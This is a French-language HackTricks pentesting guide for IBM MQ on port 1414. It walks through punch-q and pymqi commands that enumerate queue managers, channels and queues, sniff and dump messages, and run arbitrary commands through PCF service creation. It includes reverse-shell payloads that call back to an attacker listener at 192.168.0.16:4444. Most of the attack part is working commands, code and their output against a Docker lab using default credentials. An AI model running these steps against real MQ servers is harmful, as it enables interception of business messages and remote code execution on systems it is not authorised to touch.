1414 - Pentesting IBM MQ
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
IBM MQ est une technologie IBM pour gĂ©rer les files dâattente de messages. Comme dâautres technologies de courtier de messages, elle est dĂ©diĂ©e Ă recevoir, stocker, traiter et classer les informations entre producteurs et consommateurs.
Par dĂ©faut, elle expose le port TCP 1414 dâIBM MQ. Parfois, lâAPI REST HTTP peut ĂȘtre exposĂ©e sur le port 9443. Les mĂ©triques (Prometheus) peuvent Ă©galement ĂȘtre accessibles depuis le port TCP 9157.
Le port TCP 1414 dâIBM MQ peut ĂȘtre utilisĂ© pour manipuler des messages, des files dâattente, des canaux, ⊠mais aussi pour contrĂŽler lâinstance.
IBM fournit une large documentation technique disponible sur https://www.ibm.com/docs/en/ibm-mq.
Outils
Un outil suggĂ©rĂ© pour une exploitation facile est punch-q, avec utilisation de Docker. Lâoutil utilise activement la bibliothĂšque Python pymqi.
Pour une approche plus manuelle, utilisez la bibliothÚque Python pymqi. Les dépendances IBM MQ sont nécessaires.
Installation de pymqi
Les dĂ©pendances IBM MQ doivent ĂȘtre installĂ©es et chargĂ©es :
- Créez un compte (IBMid) sur https://login.ibm.com/.
- TĂ©lĂ©chargez les bibliothĂšques IBM MQ depuis https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Pour Linux x86_64, câest 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
- Décompressez (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz). - Exécutez
sudo ./mqlicense.shpour accepter les termes de la licence.
Si vous ĂȘtes sous Kali Linux, modifiez le fichier
mqlicense.sh: supprimez/commentez les lignes suivantes (entre les lignes 105-110) :if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- Installez ces paquets :
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- Ensuite, ajoutez temporairement les fichiers
.soĂ LD :export LD_LIBRARY_PATH=/opt/mqm/lib64, avant dâexĂ©cuter dâautres outils utilisant ces dĂ©pendances.
Ensuite, vous pouvez cloner le projet pymqi : il contient des extraits de code intéressants, des constantes, ⊠Ou vous pouvez directement installer la bibliothÚque avec : pip install pymqi.
Utilisation de punch-q
Avec Docker
Utilisez simplement : sudo docker run --rm -ti leonjza/punch-q.
Sans Docker
Clonez le projet punch-q puis suivez le readme pour lâinstallation (pip install -r requirements.txt && python3 setup.py install).
AprĂšs, il peut ĂȘtre utilisĂ© avec la commande punch-q.
ĂnumĂ©ration
Vous pouvez essayer dâĂ©numĂ©rer le nom du gestionnaire de files dâattente, les utilisateurs, les canaux et les files dâattente avec punch-q ou pymqi.
Gestionnaire de files dâattente
Parfois, il nây a pas de protection contre lâobtention du nom du Gestionnaire de files dâattente :
⯠sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Channels
punch-q utilise une liste de mots interne (modifiable) pour trouver des canaux existants. Exemple dâutilisation :
⯠sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
Il se trouve que certaines instances IBM MQ acceptent des requĂȘtes MQ non authentifiĂ©es, donc --username / --password nâest pas nĂ©cessaire. Bien sĂ»r, les droits dâaccĂšs peuvent Ă©galement varier.
DÚs que nous obtenons un nom de canal (ici : DEV.ADMIN.SVRCONN), nous pouvons énumérer tous les autres canaux.
LâĂ©numĂ©ration peut essentiellement ĂȘtre effectuĂ©e avec cet extrait de code code/examples/dis_channels.py de pymqi :
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
⊠Mais punch-q intĂšgre Ă©galement cette partie (avec plus dâinfos !).
Il peut ĂȘtre lancĂ© avec :
⯠sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
Queues
Il y a un extrait de code avec pymqi (dis_queues.py) mais punch-q permet de rĂ©cupĂ©rer plus dâinformations sur les files dâattente :
⯠sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
Vous pouvez cibler des files dâattente / canaux pour intercepter / extraire des messages dâeux (opĂ©ration non destructive). Exemples:
⯠sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
⯠sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
NâhĂ©sitez pas Ă itĂ©rer sur toutes les files dâattente identifiĂ©es.
Exécution de code
Quelques dĂ©tails avant de continuer : IBM MQ peut ĂȘtre contrĂŽlĂ© de plusieurs maniĂšres : MQSC, PCF, Commande de contrĂŽle. Certaines listes gĂ©nĂ©rales peuvent ĂȘtre trouvĂ©es dans la documentation IBM MQ. PCF (Formats de commande programmables) est ce sur quoi nous nous concentrons pour interagir Ă distance avec lâinstance. punch-q et de plus pymqi sont basĂ©s sur les interactions PCF.
Vous pouvez trouver une liste de commandes PCF :
Une commande intéressante est
MQCMD_CREATE_SERVICEet sa documentation est disponible ici. Elle prend comme argument unStartCommandpointant vers un programme local sur lâinstance (exemple :/bin/sh).Il y a aussi un avertissement concernant la commande dans la documentation : âAttention : Cette commande permet Ă un utilisateur dâexĂ©cuter une commande arbitraire avec lâautoritĂ© mqm. Si des droits sont accordĂ©s pour utiliser cette commande, un utilisateur malveillant ou imprudent pourrait dĂ©finir un service qui endommage vos systĂšmes ou donnĂ©es, par exemple, en supprimant des fichiers essentiels.â
Remarque : toujours selon la documentation IBM MQ (RĂ©fĂ©rence dâadministration), il existe Ă©galement un point de terminaison HTTP Ă
/admin/action/qmgr/{qmgrName}/mqscpour exĂ©cuter la commande MQSC Ă©quivalente pour la crĂ©ation de service (DEFINE SERVICE). Cet aspect nâest pas encore couvert ici.
La crĂ©ation / suppression de service avec PCF pour lâexĂ©cution de programme Ă distance peut ĂȘtre effectuĂ©e par punch-q :
Exemple 1
⯠sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
Dans les journaux dâIBM MQ, vous pouvez lire que la commande a Ă©tĂ© exĂ©cutĂ©e avec succĂšs :
2023-10-10T19:13:01.713Z AMQ5030I: La commande '808544aa7fc94c48' a démarré. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
Vous pouvez Ă©galement Ă©numĂ©rer les programmes existants sur la machine (ici /bin/doesnotexist ⊠nâexiste pas) :
⯠sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
Soyez conscient que le lancement du programme est asynchrone. Vous avez donc besoin dâun deuxiĂšme Ă©lĂ©ment pour exploiter la vulnĂ©rabilitĂ© (Ă©couteur pour reverse shell, crĂ©ation de fichier sur un service diffĂ©rent, exfiltration de donnĂ©es via le rĂ©seau âŠ)
Exemple 2
Pour un reverse shell facile, punch-q propose également deux charges utiles de reverse shell :
- Une avec bash
- Une avec perl
Ăvidemment, vous pouvez en crĂ©er une personnalisĂ©e avec la commande execute.
Pour bash :
⯠sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Pour perl :
⯠sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
PCF personnalisé
Vous pouvez consulter la documentation IBM MQ et utiliser directement la bibliothÚque python pymqi pour tester des commandes PCF spécifiques non implémentées dans punch-q.
Exemple :
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
Si vous ne pouvez pas trouver les noms constants, vous pouvez vous référer à la documentation IBM MQ.
_Exemple pour
MQCMD_REFRESH_CLUSTER(DĂ©cimal = 73). Il nĂ©cessite le paramĂštreMQCA_CLUSTER_NAME(DĂ©cimal = 2029) qui peut ĂȘtre_(Doc: ):*import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("Erreur") else: print(response) qmgr.disconnect()
Environnement de test
Si vous souhaitez tester le comportement et les exploits dâIBM MQ, vous pouvez configurer un environnement local basĂ© sur Docker :
- Avoir un compte sur ibm.com et cloud.ibm.com.
- Créer un IBM MQ conteneurisé avec :
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
Par dĂ©faut, lâauthentification est activĂ©e, le nom dâutilisateur est admin et le mot de passe est passw0rd (variable dâenvironnement MQ_ADMIN_PASSWORD).
Ici, le nom du gestionnaire de files dâattente a Ă©tĂ© dĂ©fini sur MYQUEUEMGR (variable MQ_QMGR_NAME).
Vous devez avoir IBM MQ en cours dâexĂ©cution avec ses ports exposĂ©s :
⯠sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
La vieille version des images Docker IBM MQ se trouve Ă : https://hub.docker.com/r/ibmcom/mq/.
Références
- mgeekyâs gist - âNotes pratiques sur le test de pĂ©nĂ©tration IBM MQâ
- MQ Jumping - DEFCON 15
- Documentation IBM MQ
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


